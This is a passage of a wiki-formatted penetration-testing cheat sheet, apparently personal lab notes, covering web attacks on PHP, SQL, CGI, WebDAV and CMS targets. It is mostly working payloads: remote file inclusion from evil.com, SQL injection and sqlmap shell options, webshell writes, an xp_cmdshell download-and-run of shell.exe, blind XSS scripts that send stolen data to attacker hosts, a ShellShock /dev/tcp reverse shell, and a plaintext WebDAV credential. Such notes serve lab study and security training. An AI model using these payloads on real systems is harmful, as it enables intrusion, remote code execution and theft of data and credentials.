&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== RFI ====&lt;br /&gt;
&lt;br /&gt;
If webserver dosent execute RFI, see PHP shell_exec further down.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic RFI&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt&lt;br /&gt;
# Null byte&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt&lt;br /&gt;
# Bypass allow_url_include&lt;br /&gt;
# When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.&lt;br /&gt;
# 1. Create a share open to everyone&lt;br /&gt;
# 2. Write a PHP code inside a file : shell.php&lt;br /&gt;
# 3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHP Wrappers ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion vulnerabilities.&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers&lt;br /&gt;
# Example&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,hello world&lt;br /&gt;
# Example 2&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scanners ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# nikto&lt;br /&gt;
nitko -h  &amp;gt; output.txt&lt;br /&gt;
# crawleet&lt;br /&gt;
python crawleet.py -u  -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SQL injection ===&lt;br /&gt;
&lt;br /&gt;
==== Cheatsheet and good articles ====&lt;br /&gt;
&lt;br /&gt;
[https://www.tarlogic.com/en/blog/red-team-tales-0x01/ https://www.tarlogic.com/en/blog/red-team-tales-0x01/]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection] (Click on the SQL server that is used)&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection]&lt;br /&gt;
&lt;br /&gt;
[https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver]&lt;br /&gt;
&lt;br /&gt;
See notes for 10.11.1.229&lt;br /&gt;
&lt;br /&gt;
==== Theory ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Databases --&amp;gt; Tables --&amp;gt; Column_names&lt;br /&gt;
# Queries&lt;br /&gt;
# Show all tables in database information_schema&lt;br /&gt;
table_name FROM information_schema.tables&lt;br /&gt;
# use information_schema, show all column_name from table wp_users&lt;br /&gt;
column_name FROM information_schema.columns WHERE table_name=&#039;wp_users&#039;&lt;br /&gt;
# Show all information in user_login column from table wp_users&lt;br /&gt;
user_login FROM wp_users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Show me all columns and rows for users with a name of User1 or where one equals one. Since 1=1 condition is always true, all rows will be returned.&lt;br /&gt;
&#039;user1&#039; or 1=1&lt;br /&gt;
# If error encountered we can instruct the query to return a fixed number of records with the LIMIT statement&lt;br /&gt;
&#039;user1&#039; or 1=1 LIMIT1;#&lt;br /&gt;
&lt;br /&gt;
&#039; or 1=1; -- -&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Basic SQL Injection ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection&lt;br /&gt;
https://blog.aghanim.net/?p=1203&lt;br /&gt;
# ENTRY POINT DETECTION&lt;br /&gt;
## Detection of an SQL injection entry point Simple characters&lt;br /&gt;
&#039;&lt;br /&gt;
%27&lt;br /&gt;
&amp;quot;&lt;br /&gt;
%22&lt;br /&gt;
#&lt;br /&gt;
%23&lt;br /&gt;
;&lt;br /&gt;
%3B&lt;br /&gt;
)&lt;br /&gt;
Wildcard (*)&lt;br /&gt;
&#039;  # required for XML content&lt;br /&gt;
## Multiple encoding&lt;br /&gt;
%%2727&lt;br /&gt;
%25%27&lt;br /&gt;
## Merging characters&lt;br /&gt;
`+HERP&lt;br /&gt;
&#039;||&#039;DERP&lt;br /&gt;
&#039;+&#039;herp&lt;br /&gt;
&#039; &#039;DERP&lt;br /&gt;
&#039;%20&#039;HERP&lt;br /&gt;
&#039;%2B&#039;HERP&lt;br /&gt;
## Logic Testing&lt;br /&gt;
page.asp?id=1 or 1=1 -- true&lt;br /&gt;
page.asp?id=1&#039; or 1=1 -- true&lt;br /&gt;
page.asp?id=1&amp;quot; or 1=1 -- true&lt;br /&gt;
page.asp?id=1 and 1=2 -- false&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Database ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use &#039;order by&#039; clause to tell the database to sort the results of the query by the values in one or more columns. Increment value by 1 until error.&lt;br /&gt;
# If error out on 4, that means that there are 3 columns.&lt;br /&gt;
?id=1 order by 1&lt;br /&gt;
# UNION statement allow us to add a second select statement to the orignal query. SEE PIC BELOW&lt;br /&gt;
http://localhost/debug.php?id=1 union all select 1, 2, 3&lt;br /&gt;
# Only two columns are displayed, 2 and 3. So if we have a column named username and passord from table users, we can write it like this to display conent of username and password&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
# MariaDB version&lt;br /&gt;
?id=1 union all select 1, 2, @@version&lt;br /&gt;
# Database user&lt;br /&gt;
?id=1 union all select 1, 2, user()&lt;br /&gt;
# Enumerate database tables and column structures through &#039;information_schema&#039;&lt;br /&gt;
?id=1 union all select 1, 2, table_name from information_schema.tables&lt;br /&gt;
?id=1 union all select 1, 2, column_name from information_schema.columns where table_name=&#039;users&#039;&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== SQLmap ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic arguments for SQLmap&lt;br /&gt;
sqlmap --url=&amp;quot;&amp;quot; -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs&lt;br /&gt;
# Load a request file and use mobile user-agent&lt;br /&gt;
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1&lt;br /&gt;
# Custom injection in UserAgent/Header/Referer/Cookie&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com&amp;quot; --data &amp;quot;username=admin&amp;amp;password=pass&amp;quot;  --headers=&amp;quot;x-forwarded-for:127.0.0.1*&amp;quot;&lt;br /&gt;
## The injection is located at the &#039;*&#039;&lt;br /&gt;
# SHELL&lt;br /&gt;
## SQL Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --sql-shell&lt;br /&gt;
## Simple Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-shell&lt;br /&gt;
## Dropping a reverse-shell / meterpreter&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-pwn&lt;br /&gt;
## SSH Shell by dropping an SSH key&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot; -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/&lt;br /&gt;
# Crawl a website with SQLmap and auto-exploit&lt;br /&gt;
sqlmap -u &amp;quot;http://example.com/&amp;quot; --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3&lt;br /&gt;
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers&lt;br /&gt;
--crawl = how deep you want to crawl a site&lt;br /&gt;
--forms = Parse and test forms&lt;br /&gt;
# Using TOR with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5&lt;br /&gt;
# Using a proxy with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --proxy=&amp;quot;http://127.0.0.1:8080&amp;quot;&lt;br /&gt;
# Using Chrome cookie and a Proxy&lt;br /&gt;
sqlmap -u &amp;quot;https://test.com/index.php?id=99&amp;quot; --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy &amp;quot;http://127.0.0.1:8080&amp;quot;  -f  --time-sec 15 --level 3&lt;br /&gt;
# Using suffix to tamper the injection&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --suffix=&amp;quot;-- &amp;quot;&lt;br /&gt;
# General tamper option and tamper&#039;s list&lt;br /&gt;
tamper=name_of_the_tamper&lt;br /&gt;
# SQLMap supports a `--test-filter` flag. This flag tells SQLMap to test for payloads that match a specific pattern.&lt;br /&gt;
https://twitter.com/kuldeepdotexe/status/1687897180953034754&lt;br /&gt;
sqlmap -u https://lab_host/filter\?category\=Food+%26+Drink -p category --test-filter=&amp;quot;Generic UNION query (NULL)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Union based sqli ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enumerate column&lt;br /&gt;
# Add ,NULL until no more erros. Thats how many column there is.&lt;br /&gt;
# To determin where there is data, remove one NULL and add random data. If no error, then there is data there.&lt;br /&gt;
&#039; UNION SELECT NULL--&lt;br /&gt;
&#039; UNION SELECT NULL,NULL,NULL FROM DUAL--&lt;br /&gt;
&#039; UNION SELECT table_name,NULL,NULL FROM all_tables--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_ADMINS&#039;--&lt;br /&gt;
Blog entry from ADMIN_NAME with title null from 0&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
&#039; UNION SELECT ADMIN_NAME,PASSWORD,NULL FROM WEB_ADMINS--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_USERS&#039;--&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
Blog entry from USER_ID with title null from 0&lt;br /&gt;
Blog entry from USER_NAME with title null from 0&lt;br /&gt;
&#039; UNION SELECT USER_NAME,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from alice with title null from 0&lt;br /&gt;
Blog entry from eric with title null from 0&lt;br /&gt;
Blog entry from maria with title null from 0&lt;br /&gt;
&#039; UNION SELECT PASSWORD,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from bobismyuncle with title null from 0&lt;br /&gt;
Blog entry from letmein with title null from 0&lt;br /&gt;
Blog entry from thisismypassword with title null from 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Usuful commands (Upload shells) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
# Test SQLI with sleep&lt;br /&gt;
# Double hyphen is used to out-comment rest of the query&lt;br /&gt;
&#039; UNION SELECT sleep(5); -- -&lt;br /&gt;
# Write a webshell&lt;br /&gt;
UNION SELECT &amp;quot;&amp;quot; into outfile &amp;quot;C:\\xampp\\htdocs\\backdoor.php&amp;quot;&lt;br /&gt;
UNION SELECT &#039;&#039; INTO OUTFILE &#039;/var/www/html/x.php&#039; FIELDS TERMINATED BY &#039;&#039;&lt;br /&gt;
&#039; UNION SELECT (&amp;quot; into OUTFILE &#039;c:/xampp/htdocs/backdoor.php&#039;&lt;br /&gt;
# Code execution&lt;br /&gt;
?id=1 union all select 1, 2, load_file(&#039;C:/Windows/win.ini&#039;)&lt;br /&gt;
# Mssql download shell, output it, and execute it&lt;br /&gt;
&#039;;EXEC xp_cmdshell &#039;certutil -urlcache -split -f &amp;quot;http://192.168.119.176/shell.exe&amp;quot; C:\windows\temp\shell.exe&amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
# XP_dirtree - Remember to start responder or impacket-smbserver&lt;br /&gt;
1&#039;; use master; exec xp_dirtree &#039;\\192.168.119.176\SHARE&#039;;--&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSRF ===&lt;br /&gt;
&lt;br /&gt;
==== Capture hash ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example from PG Heist&lt;br /&gt;
# On target website&lt;br /&gt;
http://heist.offsec:8080/?url=http://192.168.49.247:80&lt;br /&gt;
# On attacker&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/heist]&lt;br /&gt;
└─# responder -I tun0&lt;br /&gt;
[+] Listening for events...&lt;br /&gt;
[HTTP] NTLMv2 Client   : ::ffff:192.168.247.165&lt;br /&gt;
[HTTP] NTLMv2 Username : HEIST\enox&lt;br /&gt;
[HTTP] NTLMv2 Hash     : enox::HEIST:9d578233382be8e1:0CB1CB346E8C78CF508746D763D78FCB:010100[...]&lt;br /&gt;
# Hash format&lt;br /&gt;
netntlmv2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSTI ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection SSTI (Server Side Template Injection) - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c echo RCE &amp;gt; C:/Windows/Tasks/test.txt&amp;quot;);&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c powershell -e ENCODEDCOMMAND&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XSS ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/payloadbox/xss-payload-list/blob/master/README.md https://github.com/payloadbox/xss-payload-list/blob/master/README.md]&lt;br /&gt;
&lt;br /&gt;
==== Blind XSS ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING GET REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Send this to the vulnernable form parameter&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;).then(response =&amp;gt; response.text()).then(data =&amp;gt; fetch(&#039;http://10.9.17.250/receive?data=&#039; + encodeURIComponent(data)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Set up a listener, like python http server og netcat and wait for the connection.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -lvnp 80&lt;br /&gt;
listening on [any] 80 ...&lt;br /&gt;
connect to [10.9.17.250] from (UNKNOWN) [10.10.109.42] 44532&lt;br /&gt;
GET /receive?data=THM%7B83... HTTP/1.1&lt;br /&gt;
Host: 10.9.17.250&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36&lt;br /&gt;
accept: */*&lt;br /&gt;
origin: http://127.0.0.1:8080&lt;br /&gt;
X-Simulate: 17bec089830b56b2980e5c97c46fe25147e09247&lt;br /&gt;
Referer: http://127.0.0.1:8080/&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING POST REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Host the Script&#039;&#039;&#039;: You need to have control over the server at  ​[http://10.9.17.250 http://10.9.17.250]​ . On this server, you&#039;ll place your JavaScript code in a file, typically with a  ​.js​  extension (even though you mentioned  ​test.txt​ , it&#039;s more common to use  ​.js​  for JavaScript files).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Write the JavaScript Code&#039;&#039;&#039;: The JavaScript code that fetches the content from  ​[http://10.10.109.42:8080/flag.txt http://10.10.109.42:8080/flag.txt]​  and then sends it to your server needs to be written and saved in the file you&#039;re hosting (say  ​script.js​ ).&lt;br /&gt;
&lt;br /&gt;
Here&#039;s an example of what your JavaScript file ( ​script.js​ ) might contain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;)&lt;br /&gt;
    .then(response =&amp;gt; response.text())&lt;br /&gt;
    .then(data =&amp;gt; {&lt;br /&gt;
        fetch(&#039;http://10.9.17.250/receive&#039;, { // Change the endpoint as needed&lt;br /&gt;
            method: &#039;POST&#039;,&lt;br /&gt;
            headers: {&lt;br /&gt;
                &#039;Content-Type&#039;: &#039;application/x-www-form-urlencoded&#039;,&lt;br /&gt;
            },&lt;br /&gt;
            body: `data=${encodeURIComponent(data)}`&lt;br /&gt;
        });&lt;br /&gt;
    });&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can alos send this directly instead of hosting it:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;/profile&#039;).then(response =&amp;gt; response.json()).then(data =&amp;gt; fetch(&#039;http://attacker-server.com&#039;, {method: &#039;POST&#039;, headers: {&#039;Content-Type&#039;: &#039;application/json&#039;}, body: JSON.stringify(data)}));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Inject the payload in the form&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Setup a receiver:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from flask import Flask, request&lt;br /&gt;
app = Flask(__name__)&lt;br /&gt;
@app.route(&#039;/receive&#039;, methods=[&#039;POST&#039;])&lt;br /&gt;
def receive_data():&lt;br /&gt;
    data = request.get_json()&lt;br /&gt;
    print(data)&lt;br /&gt;
    return &#039;Data received&#039;, 200&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
    app.run(host=&#039;0.0.0.0&#039;, port=80)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bypass robots.txt &amp;quot;You are not a search engine. Permission denied.&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Set User-Agent to &amp;quot;User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellShock (CGI) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &amp;quot;user-agent: () { :; }; echo; echo; /bin/bash -c &#039;cat /etc/passwd&#039;&amp;quot; /cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &#039;User-Agent: () { :; }; /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.17/4444 0&amp;gt;&amp;amp;1&#039; http://10.10.10.56/cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMS/Webservers ===&lt;br /&gt;
&lt;br /&gt;
==== Apache James ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.72 PWK&lt;br /&gt;
# Apache James Server 2.3.2&lt;br /&gt;
https://www.exploit-db.com/exploits/50347&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Drupal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
droopscan scan -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Username Enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Register&lt;br /&gt;
In /user/register try to create a username, and if the name is already taken it will be notified&lt;br /&gt;
Register new password&lt;br /&gt;
If you request a new password for an exisiting username.&lt;br /&gt;
If you request a new password for a non-existent username:&lt;br /&gt;
Number of users enumeration&lt;br /&gt;
Accessing /user/ you can see the number of exisinting users.&lt;br /&gt;
   - /user/4 -&amp;gt; Access denied (user exist)&lt;br /&gt;
   - /user/5 -&amp;gt; Page not found (user dosent exist)&lt;br /&gt;
There are 4 existing users.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hidden pages enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Fuzz /node/$ where $ is a number (from 1 to 500 for example).&lt;br /&gt;
You could find hidden pages (test, dev) which are not referenced by the search engine.&lt;br /&gt;
wfuzz -c -z range,1-500 -hc 404 /node/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== FuelCMS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47138&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gitstack portal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Go to gitstack portal&lt;br /&gt;
# Try default admin:admin&lt;br /&gt;
# Click on stack menu.&lt;br /&gt;
# Choose the command portal option.&lt;br /&gt;
# replace stack.php?cmd=hello&lt;br /&gt;
# with&lt;br /&gt;
# stack.php?cmd=hello;whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== IIS - Internet Information Services ====&lt;br /&gt;
&lt;br /&gt;
==== Jenkins ====&lt;br /&gt;
&lt;br /&gt;
===== Remote Code execution =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.5.5.25 PWK&lt;br /&gt;
Select New Item --&amp;gt; Freestyle project --&amp;gt; Choose build --&amp;gt; Windows batch command (Or Execute shell for Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Joomla ====&lt;br /&gt;
&lt;br /&gt;
==== Ovidentia ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
See writeup 10.11.1.73 PWK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tiki wiki ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/40053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHPLiteAdmin ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.116 PWK&lt;br /&gt;
# PHPLiteAdmin 1.9.3&lt;br /&gt;
# https://www.exploit-db.com/exploits/24044&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tomcat ====&lt;br /&gt;
&lt;br /&gt;
==== werkzeug ====&lt;br /&gt;
&lt;br /&gt;
==== WebDAV ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
davtest -url http://10.10.10.15&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Curl commands with webDAV =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Reading Files/Folders&lt;br /&gt;
curl &#039;http://example.com/webdav&#039;&lt;br /&gt;
# Creating new Folder&lt;br /&gt;
curl -X MKCOL &#039;http://example.com/webdav/new_folder&#039;&lt;br /&gt;
# Uploading File&lt;br /&gt;
curl -T &#039;/path/to/local/file.txt&#039; &#039;http://example.com/webdav/test/new_name.txt&#039;&lt;br /&gt;
curl --upload-file  http:///test/&lt;br /&gt;
curl -T &#039;cmdasp.aspx&#039; &#039;http://192.168.89.122/cmd.aspx&#039; --user fmcsorley:CrabSharkJellyfish192&lt;br /&gt;
# Renaming File&lt;br /&gt;
curl -X MOVE --header &#039;Destination:http://example.org/webdav/new.txt&#039; &#039;http://example.com/webdav/old.txt&#039;&lt;br /&gt;
# Deleting Files/Folders&lt;br /&gt;
# File:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test.txt&#039;&lt;br /&gt;
# Folder:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Wordpress ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wpscan --url&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Change user pass in Mysql =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example 1&lt;br /&gt;
use wp_genesis;&lt;br /&gt;
SELECT ID, user_login, user_pass FROM wp_users;&lt;br /&gt;
UPDATE wp_users SET user_pass = MD5(‘WPEXPLORER’) WHERE ID=1 LIMIT 1;&lt;br /&gt;
# Example 2&lt;br /&gt;
select * from wp_users;&lt;br /&gt;
